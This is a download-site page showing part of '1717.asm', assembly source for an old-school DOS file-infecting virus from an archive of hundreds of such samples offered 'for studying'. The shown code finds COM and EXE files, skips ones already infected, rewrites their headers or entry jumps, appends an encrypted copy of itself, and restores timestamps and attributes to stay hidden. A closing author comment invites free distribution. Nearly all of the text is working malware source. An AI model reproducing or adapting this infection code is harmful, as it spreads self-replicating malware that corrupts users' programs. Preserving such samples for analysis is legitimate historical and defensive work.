⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 1717.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 2 页
字号:

          mov  al,0h                    ; Open read only
          call open

          mov  ah,3fh                   ; Read file to buffer
          lea  dx,[bp+buffer]           ; @ DS:DX
          mov  cx,20h                   ; 1Ah bytes
          int  21h

          mov  ah,3eh                   ; Close file
          int  21h

          cmp  word ptr [bp+buffer],'ZM'; EXE?
          jz   checkEXE                 ; Why yes, yes it is!
checkCOM:
          mov  ax,word ptr [bp+newDTA+1ah] ; Filesize in DTA
          cmp  ax,(heap-decrypt)      ; Is it too small?
          jb   find_next

          mov  bx,word ptr [bp+buffer+1] ;get jmp location
          add  bx,(heap-decrypt+1)        ; Adjust for virus size
          cmp  ax,bx
          je   find_next                ; already infected
          jmp  infect_com
checkEXE: cmp  word ptr [bp+buffer+10h],id ; is it already infected?
          jnz  infect_exe
find_next:
          mov  ah,4fh                   ; find next file
          jmp  short findfirstnext
exit_infect_mask: ret

infect_exe:
          les  ax, dword ptr [bp+buffer+14h] ; Save old entry point
          mov  word ptr [bp+jmpsave2], ax
          mov  word ptr [bp+jmpsave2+2], es

          les  ax, dword ptr [bp+buffer+0Eh] ; Save old stack
          mov  word ptr [bp+stacksave2], es
          mov  word ptr [bp+stacksave2+2], ax

          mov  ax, word ptr [bp+buffer + 8] ; Get header size
          mov  cl, 4                    ; convert to bytes
          shl  ax, cl
          xchg ax, bx

          les  ax, [bp+offset newDTA+26]; Get file size
          mov  dx, es                   ; to DX:AX
          push ax
          push dx

          sub  ax, bx                   ; Subtract header size from
          sbb  dx, 0                    ; file size

          mov  cx, 10h                  ; Convert to segment:offset
          div  cx                       ; form

          mov  word ptr [bp+buffer+14h], dx ; New entry point
          mov  word ptr [bp+buffer+16h], ax

          mov  word ptr [bp+buffer+0Eh], ax ; and stack
          mov  word ptr [bp+buffer+10h], id

          pop  dx                       ; get file length
          pop  ax

          add  ax,(heap-decrypt)         ; add virus size
          adc  dx, 0

          mov  cl, 9
          push ax
          shr  ax, cl
          ror  dx, cl
          stc
          adc  dx, ax
          pop  ax
          and  ah, 1                    ; mod 512

          mov  word ptr [bp+buffer+4], dx ; new file size
          mov  word ptr [bp+buffer+2], ax

          push cs                       ; restore ES
          pop  es

          push word ptr [bp+buffer+14h] ; needed later
          mov  cx, 1ah
          jmp  short finishinfection
infect_com:                             ; ax = filesize
          mov  cx,3
          sub  ax,cx
          lea  si,[bp+offset buffer]
          lea  di,[bp+offset save3]
          movsw
          movsb
          mov  byte ptr [si-3],0e9h
          mov  word ptr [si-2],ax
          add  ax,103h
          push ax                       ; needed later
finishinfection:
          push cx                       ; Save # bytes to write
          xor  cx,cx                    ; Clear attributes
          call attributes               ; Set file attributes

          mov  al,2
          call open

          mov  ah,40h                   ; Write to file
          lea  dx,[bp+buffer]           ; Write from buffer
          pop  cx                       ; cx bytes
          int  21h

          mov  ax,4202h                 ; Move file pointer
          xor  cx,cx                    ; to end of file
          cwd                           ; xor dx,dx
          int  21h

get_encrypt_value:
          mov  ah,2ch                   ; Get current time
          int  21h                      ; dh=sec,dl=1/100 sec
          or  dx,dx                     ; Check if encryption value = 0
          jz  get_encrypt_value         ; Get another if it is
          mov  [bp+decrypt_value],dx    ; Set new encryption value
          lea  di,[bp+code_store]
          mov  ax,5355h                 ; push bp,push bx
          stosw
          lea  si,[bp+decrypt]          ; Copy encryption function
          mov  cx,startencrypt-decrypt  ; Bytes to move
          push si                       ; Save for later use
          push cx
          rep  movsb

          lea    si,[bp+write]          ; Copy writing function
          mov    cx,endwrite-write      ; Bytes to move
          rep    movsb
          pop    cx
          pop    si
          pop    dx                     ; Entry point of virus
          push   di
          push   si
          push   cx
          rep    movsb                  ; Copy decryption function
          mov    ax,5b5dh               ; pop bx,pop bp
          stosw
          mov    al,0c3h                ; retn
          stosb

          add    dx,offset startencrypt - offset decrypt ; Calculate new
          mov    word ptr [bp+patch_startencrypt+1],dx ; starting offset of
          call   code_store             ; decryption
          pop    cx
          pop    di
          pop    si
          rep    movsb                  ; Restore decryption function

          mov  ax,5701h                 ; Restore creation date/time
          mov  cx,word ptr [bp+newDTA+16h] ; time
          mov  dx,word ptr [bp+newDTA+18h] ; date
          int  21h

          mov  ah,3eh                   ; Close file
          int  21h

          mov ch,0
          mov cl,byte ptr [bp+newDTA+15h] ; Restore original
          call attributes               ; attributes

          dec  byte ptr [bp+numinfec]   ; One mo infection
          jnz  mo_infections            ; Not enough
          pop  ax                       ; remove call from stack
          jmp  done_infections
mo_infections: jmp find_next

open:
          mov  ah,3dh
          lea  dx,[bp+newDTA+30]        ; filename in DTA
          int  21h
          xchg ax,bx
          ret

attributes:
          mov  ax,4301h                 ; Set attributes to cx
          lea  dx,[bp+newDTA+30]        ; filename in DTA
          int  21h
          ret

write:
          pop  bx                       ; Restore file handle
          pop  bp                       ; Restore relativeness
          mov  ah,40h                   ; Write to file
          lea  dx,[bp+decrypt]          ; Concatenate virus
          mov  cx,(heap-decrypt)          ; # bytes to write
          int  21h
          push bx
          push bp
endwrite:

int24:                                  ; New int 24h (error) handler
          mov  al,3                     ; Fail call
          iret                          ; Return control
data00    dw      2000,8,2500,8,2000,14,2500,14
         dw      2500,14,3000,4,4000,24,3500,12,4000,6
         dw      3500,12,4000,4,4500,10,5000,4
         dw      5500,15,3000,8,3500,20,3000,8,3500,50
         dw      2000,8,2500,8,2000,14,2500,14
         dw      2500,14,3000,4,4000,24,3500,12,4000,6
         dw      3500,12,4000,4,4500,10,5000,4
         dw      5500,15,3000,8,3500,20,3000,8,3500,50
         dw      2000,8,2500,8,2000,14,2500,14
         dw      2500,14,3000,4,4000,24,3500,12,4000,6
         dw      3500,12,4000,4,4500,10,5000,4
         dw      5500,15,3000,8,3500,20,3000,8,3500,50
          dw      0

data_6          db      9
		db	 10h, 19h, 45h, 18h, 19h, 1Bh
		db	 01h,0D5h,0CDh,0CDh,0B8h, 04h
		db	0F3h, 09h,0A9h, 04h, 9Dh
		db	9
		db	0AAh, 04h,0F2h, 01h,0D5h,0CDh
		db	0CDh,0B8h, 19h, 1Ch, 18h, 19h
		db	 12h,0D5h, 1Ah, 0Ah,0CDh,0BEh
		db	 20h, 09h, 5Ch, 04h,0F6h, 09h
		db	 2Fh, 20h, 01h,0D4h, 1Ah, 0Ah
		db	0CDh,0B8h, 19h, 13h, 18h, 19h
		db	 03h,0C9h, 1Ah, 0Dh,0CDh,0BEh
		db	 19h, 03h, 0Fh,0D2h,0B7h, 19h
		db	 04h,0D6h, 1Ah, 03h,0C4h,0B7h
		db	 20h,0D2h,0D2h,0C4h,0C4h,0C4h
		db	0B7h, 19h, 04h, 01h,0D4h, 1Ah
		db	 0Eh,0CDh,0BBh, 19h, 03h, 18h
		db	 19h, 03h,0BAh, 19h, 12h, 07h
		db	0BAh,0BAh, 19h, 04h,0BAh, 19h
		db	 03h,0BDh, 20h,0BAh,0BAh, 19h
		db	 02h,0D3h,0B7h, 19h, 13h, 01h
		db	0BAh, 19h, 03h, 18h, 19h, 03h
		db	0BAh, 19h, 07h, 0Bh, 1Ah, 02h
		db	 04h, 19h, 07h, 08h,0BAh,0B6h
		db	 19h, 04h,0C7h,0C4h,0B6h, 19h
		db	 03h,0BAh,0B6h, 19h, 03h,0BAh
		db	 19h, 07h, 0Bh, 1Ah, 02h, 04h
		db	 19h, 08h, 01h,0BAh, 19h, 03h
		db	 18h,0D6h,0C4h,0C4h, 20h,0BAh
		db	 19h, 12h, 08h,0BAh,0D3h, 19h
		db	 02h,0B7h, 20h,0BAh, 19h, 03h
		db	0B7h, 20h,0BAh,0D3h, 19h, 02h
		db	0D6h,0BDh, 19h, 13h, 01h,0BAh
		db	 20h,0C4h,0C4h,0B7h, 18h,0D3h
		db	0C4h,0C4h,0C4h,0BDh, 19h, 12h
		db	 08h,0D3h, 1Ah, 03h,0C4h,0BDh
		db	 20h,0D3h, 1Ah, 03h,0C4h,0BDh
		db	 20h,0D0h, 1Ah, 03h,0C4h,0BDh
		db	 19h, 14h, 01h,0D3h,0C4h,0C4h
		db	0C4h,0BDh, 18h, 04h, 1Ah, 04h
		db	 3Eh, 19h, 03h, 0Fh,0D6h, 1Ah
		db	 04h,0C4h,0B7h, 20h,0D6h, 1Ah
		db	 03h,0C4h,0B7h, 20h,0D2h,0D2h
		db	0C4h,0C4h,0C4h,0B7h, 20h,0D2h
		db	0D2h,0C4h,0C4h,0C4h,0B7h, 20h
		db	0D6h, 1Ah, 03h,0C4h,0B7h, 20h
		db	0D2h,0B7h, 19h, 04h,0D2h, 20h
		db	 20h,0D2h,0D2h,0C4h,0C4h,0C4h
		db	0B7h, 19h, 03h, 04h, 1Ah, 04h
		db	 3Ch, 18h, 01h,0D6h,0C4h,0C4h
		db	0C4h,0B7h, 19h, 07h, 07h,0D6h
		db	0C4h,0BDh
		dd	319BA20h		; Data table (indexed access)
		db	0BDh, 20h,0BAh,0BDh, 19h, 02h
		db	0BAh, 20h,0BAh,0BDh, 19h, 02h
		db	0BAh, 20h,0BAh, 19h, 03h,0BDh
		db	 20h,0BAh,0BAh, 19h, 04h,0BAh
		db	 20h, 20h,0BAh,0BAh, 19h, 02h
		db	0BAh, 19h, 03h, 01h,0D6h,0C4h
		db	0C4h,0C4h,0B7h, 18h,0D3h,0C4h
		db	0C4h, 20h,0BAh, 19h, 06h, 08h
		db	 58h, 19h, 03h,0C7h,0C4h,0B6h
		db	 19h, 03h,0BAh, 1Ah, 03h,0C4h
		db	0BDh, 20h,0BAh, 1Ah, 03h,0C4h
		db	0BDh, 20h,0C7h,0C4h,0B6h, 19h
		db	 03h,0BAh,0B6h, 19h, 04h,0BAh
		db	 20h, 20h,0BAh,0B6h, 19h, 02h
		db	0BAh, 19h, 03h, 01h,0BAh, 20h
		db	0C4h,0C4h,0BDh, 18h, 19h, 03h
		db	0BAh, 19h, 03h, 08h,0D6h,0C4h
		db	0BDh, 19h, 04h,0BAh, 19h, 03h
		db	0B7h, 20h,0BAh, 19h, 05h,0BAh
		db	 19h, 05h,0BAh, 19h, 03h,0B7h
		db	 20h,0BAh,0D3h, 19h, 02h,0B7h
		db	 20h,0BAh, 20h, 20h,0BAh,0D3h
		db	 19h, 02h,0BAh, 19h, 03h, 01h
		db	0BAh, 19h, 03h, 18h, 19h, 03h
		db	0BAh, 19h, 03h, 08h,0D3h, 1Ah
		db	 04h,0C4h,0BDh, 20h,0D3h, 1Ah
		db	 03h,0C4h,0BDh, 20h,0BDh, 19h
		db	 05h,0BDh, 19h, 05h,0D3h, 1Ah
		db	 03h,0C4h,0BDh, 20h,0D3h, 1Ah
		db	 03h,0C4h,0BDh, 20h,0D0h, 20h
		db	 20h,0D0h, 19h, 03h,0D0h, 19h
		db	 03h, 01h,0BAh, 19h, 03h, 18h
		db	 19h, 03h,0C8h, 1Ah, 15h,0CDh
		db	0B8h, 19h, 0Ch,0D5h, 1Ah, 16h
		db	0CDh,0BCh, 19h, 03h, 18h, 19h
		db	 1Ah,0D4h,0CDh, 04h, 1Ah, 03h
		db	0F7h, 09h, 2Fh, 04h,0EAh, 09h
		db	 5Ch, 04h, 1Ah, 03h,0F7h, 01h
		db	0CDh,0BEh, 19h, 1Bh, 18h

data_1e            equ     0A0h
dot_dot            db '..',0
heap:
; The following code is the buffer for the write function
code_store:         db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
oldint24            dd ?                ; Storage for old int 24h handler      
backslash           db ?
origdir             db 64 dup (?)       ; Current directory buffer             
newDTA              db 43 dup (?)       ; Temporary DTA                        
numinfec            db ?                ; Infections this run                  
buffer              db 1ah dup (?)      ; read buffer                          
endheap:                                ; End of virus
finish          label   near
end       entry_point



; Yeah, the main problem is reproducing the effect in an infected file so
; thta when IT runs, IT too will display... That's the GLITCH...
;
; Also, I had stuck INT 27H in somewhere around the EXIT .EXE...
; I don't remember, but it would go resident and suck up memory, yet
; since it hooked no interuppts, it just sat there...
; Feel free to STUDY this code and distribute it feely for educational
; purposes, because in spite of the kidding...I don't "hAcK"... for lack
; of a better word...--->>pAgE<<---

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -